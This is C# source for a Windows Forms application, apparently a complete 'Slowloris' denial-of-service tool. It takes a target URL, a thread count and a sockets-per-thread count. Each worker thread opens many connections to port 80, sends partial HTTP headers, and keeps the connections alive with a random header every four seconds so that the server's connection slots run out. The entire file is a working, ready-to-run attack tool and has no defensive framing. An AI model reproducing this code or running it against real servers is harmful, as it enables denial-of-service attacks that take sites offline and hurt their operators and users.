using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Threading;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;

namespace Slowloris
{
    public partial class Form1 : Form
    {
        public static List<Thread> trds = new List<Thread>();
        public volatile string target = "";
        public volatile int per_thread = 100;
        public volatile int num_threads = 4;
        public volatile bool keepworking = true;
        public Form1()
        {
            InitializeComponent();
        }

        private void StartStopbtn_Click(object sender, EventArgs e)
        {
            switch (((Button)sender).Text)
            {
                case "Start":
                    try { new Uri(this.TargetURLtbx.Text); }
                    catch (Exception) { MessageBox.Show("ERROR: Invalid target URL"); return; }
                    keepworking = true;
                    target = this.TargetURLtbx.Text;
                    per_thread = (int)this.NUDspt.Value;
                    num_threads = (int)this.NUDthreads.Value;
                    for (int i = 0; i < num_threads; i++)
                    {
                        trds.Add((new Thread(new ThreadStart(Worker))));
                        trds[trds.Count-1].Start();
                    }
                    this.StartStopbtn.Text = "Stop";
                    break;

                case "Stop":
                    keepworking = false;
                    trds.Clear();
                    this.StartStopbtn.Text = "Start";
                    break;

                default:
                    foreach (Thread t in trds)
                    {
                        if (t.ThreadState != ThreadState.Stopped)
                        {
                            ((Button)sender).Text = "Stop";
                            return;
                        }
                    }
                    ((Button)sender).Text = "Start";
                    break;

            }
        }

        private void Worker()
        {
            Socket[] socks = new Socket[per_thread];
            Uri uri = new Uri(target);
            //Setup Sockets
            for(int i=0;i<per_thread;i++)
            {
                if (!keepworking) { goto ENDLOOP; }
                socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            }
            while (true)
            {
                if (!keepworking) { goto ENDLOOP; }
                for (int i = 0; i < per_thread; i++)
                {
                    if (!keepworking) { goto ENDLOOP; }
                    if (!socks[i].Connected)
                    {
                    RETRY_CONNECT:
                        if (!keepworking) { goto ENDLOOP; }
                        try
                        {

                            socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                            //socks[i].Connect(IPAddress.Parse("127.0.0.1"), 8888);
                            socks[i].Connect(Dns.GetHostAddresses(uri.Host)[0], 80);
                            socks[i].Send(System.Text.Encoding.ASCII.GetBytes("GET " + uri.PathAndQuery + " HTTP/1.1\r\nHost: " + uri.Host + "\r\nUser-Agent: C# Slowloris Public Edition by LiteSpeed (config: per_thread=" + per_thread + "; num_threads=" + num_threads + ";)\r\n"), SocketFlags.None);
                        }
                        catch (Exception)
                        {
                            if (!keepworking) { goto ENDLOOP; }
                            Thread.Sleep(1000);
                            goto RETRY_CONNECT;
                        }
                    }
                    if (!keepworking) { goto ENDLOOP; }
                }
                if (!keepworking) { goto ENDLOOP; }
            LOOP:
                if (!keepworking) { goto ENDLOOP; }
                try
                {
                    for (int i = 0; i < per_thread; i++)
                    {
                        if (!keepworking) { goto ENDLOOP; }
                        socks[i].Send(System.Text.Encoding.ASCII.GetBytes("X-"+RandomNumberString(10)+": 1\r\n"), SocketFlags.None);
                    }
                }
                catch (Exception)
                {
                    continue;
                }
                Thread.Sleep(4000);
                if (!keepworking) { goto ENDLOOP; }
                goto LOOP;
            }
            ENDLOOP:
            for (int i = 0; i < per_thread; i++)
            {
                if (socks[i].Connected)
                {
                    socks[i].Disconnect(false);
                }
                socks[i] = null;
            }

        }

        Random r = new Random(Environment.TickCount);
        public string RandomNumberString(int length)
        {
            string outstr = "";
            for (int i = 0; i < length; i++)
            {
                outstr += r.Next(9);
            }
            return outstr;
        }
    }
}